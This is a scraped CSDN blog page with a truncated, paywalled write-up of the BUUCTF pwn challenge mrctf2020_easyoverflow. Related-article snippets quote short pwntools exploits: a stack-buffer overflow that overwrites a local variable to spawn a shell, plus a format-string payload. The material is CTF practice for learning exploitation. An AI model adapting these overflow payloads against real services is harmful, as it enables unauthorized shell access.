BUUCTF------mrctf2020_easyoverflow

最新推荐文章于 2024-03-01 20:24:46 发布
最新推荐文章于 2024-03-01 20:24:46 发布
阅读量303 收藏
点赞数
文章标签： pwn
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_33010875/article/details/120654982
版权

环境：WSL2，ubuntu16.04，python2

checksec文件：
在这里插入图片描述
拖入ida分析：
在这里插入图片描述
main函数中就有system(‘bin/sh’)，只要check函数的返回值为1即可执行

查看check函数：
在这里插入图片描述
只要a1和fake_flag相等，函数就能返回1
a1就是main函数里的v5，值为：ju3t_@_f@k3_f1@g
fake_fl

最低0.47元/天 解锁文章
12Shen
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
BUUCTF-PWN-[ZJCTF 2019]Login
07-10
BUUCTF-PWN-[ZJCTF 2019]Login
BUUCTF-Web-Mark loves cat变量函数覆盖
02-16
变量覆盖漏洞 自定义的参数值替换原有变量值的情况称为变量覆盖漏洞 经常导致变量覆盖漏洞场景有：$使用不当，extract()函数使用不当，parse_str()函数使用不当，import_request_variables()使用不当，开启了全局...
buuctf习题pwn（51~60）
yw__y的博客
03-01 224
。
PWN-PRACTICE-BUUCTF-16
P1umH0的博客
08-09 110
PWN-PRACTICE-BUUCTF-16mrctf2020_easyoverflowhitcontraining_magicheapciscn_2019_s_40ctf_2017_babyheap mrctf2020_easyoverflow 覆盖main函数中的v5，使之为"n0t_r3@11y_f1@g" from pwn import * r=remote("node4.buuoj.cn",29521) payload='a'*0x30+"n0t_r3@11y_f1@g" r.sendline(p
[BUUCTF]PWN——mrctf2020_easyoverflow
mcmuyanga的博客
01-12 922
mrctf2020_easyoverflow 附件 步骤： 例行检查，64位程序，保护全开 本地试运行的时候就直接一个输入，然后就没了，直接用64位ida打开 只要满足18行的条件，就能够获取shell check（） 很简单的检查，就是判断一下v5是否等于n0t_r3@11y_f1@g 看main函数可以知道，v5一开始是ju3t_@_f@k3_f1@g，之后没有对v5的操作了，然后让我们输入v4，看一下v4和v5在栈上的位置，发现v5就在v4下方不远处 v4的输入是用的gets函数，我们可以在
mrctf2020_easyoverflow
z1r0的博客
12-12 545
mrctf2020_easyoverflow 查看保护 有个溢出，可以覆盖掉v5。v5等于n0t_r3@11y_f1@g即可get_shell。所以溢出改v5就行。 from pwn import * context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' debug = 1 if debug: r = remote('node4.buuoj.cn', 26447) else: r = pr
mrctf2020_easyoverflow [write up]
m0_73756460的博客
01-14 223
buuctf 刷题 mrctf2020_easyoverflow [write up]
[BUUCTF-pwn]——mrctf2020_easyoverflow
Y_peak的博客
03-29 211
[BUUCTF-pwn]——mrctf2020_easyoverflow 题目不难这里就简单讲下思路 思路 因为check函数返回0才可以得到shell. 通过gets函数，我们可以将v5修改为我们想要的。 找到fake_flag 为n0t_r3@11y_f1@g 修改为这个就可以了。相同肯定返回0. exploit from pwn import * p = remote("node3.buuoj.cn",26609) payload = 'a'* 0x30 + "n0t_r3@11y_f1@g" p.s
2020-HackIM_ctf_hackim-ctfwriteup_
09-28
这是hackim-ctf的writeup
BUUCTF-MISC-WP(详细解题思路)
01-27
BUUCTF-MISC-WP(详细解题思路)
BUUCTF Reverse CrackRTF-附件资源
03-05
BUUCTF Reverse CrackRTF-附件资源
BUUCTF pwn——mrctf2020_easyoverflow
CNS-Enterprise BCC-1701-J
05-25 101
BUUCTF 做题练习
BUUCTF(pwn)mrctf2020_easyoverflow
半岛铁盒的博客
04-06 538
简单的溢出覆盖 from pwn import * r=remote("node3.buuoj.cn",25789) payload='a'*0x30+"n0t_r3@11y_f1@g" r.sendline(payload) r.interactive()
mrctf2020_easyrop
z1r0的博客
04-10 348
mrctf2020_easyrop 查看保护 简单题 用hehe和byby这两个函数配合起来rop就行 from pwn import * from time import sleep context(arch='amd64', os='linux', log_level='debug') file_name = './z1r0' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1
buu [MRCTF2020]EasyCpp
YenKoc的博客
04-17 769
上次没写出，这次认真分析了一下，发现自己的调试水平也有了上涨，也看了一些C++逆向的文章，尤其是stl，发现C++的oop还是挺复杂，这题还没考啥虚函数的还行了。 一.拖入ida，找到主函数，还是挺容易的 int __cdecl main(int argc, const char **argv, const char **envp) { double v3; // xmm0_8 __int...
BUUCTF(pwn)mrctf2020_easy_equation
半岛铁盒的博客
03-30 602
这道题是个相对简单的格式化字符串的题目, 但是做题过程中需要自己的一些debug调试查看; 计算偏移量 初看偏移量是8; 构建初始payload,EXP;payload="aa%8$n"+p64(judge) from pwn import* context.log_level='debug' p=remote('node3.buuoj.cn',27636) judge=0x60105c payload="aa%8$n"+p64(judge) p.sendline(payload) p.inter
STM32H562实现FreeRTOS内存管理【支持STM32H系列单片机】.zip
最新发布
06-03
STM32H562 FreeRTOS驱动程序，支持STM32H系列单片机。 项目代码可直接运行~
buuctf-强网杯2019随便注
09-03
buuctf-强网杯2019随便注是一场2019年强网杯举办的CTF比赛中的一道题目。这道题目的名称暗示着它是一个与注入漏洞相关的题目。 注入漏洞是一种网络安全漏洞，攻击者可以通过在用户输入的数据中注入恶意代码来获取...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值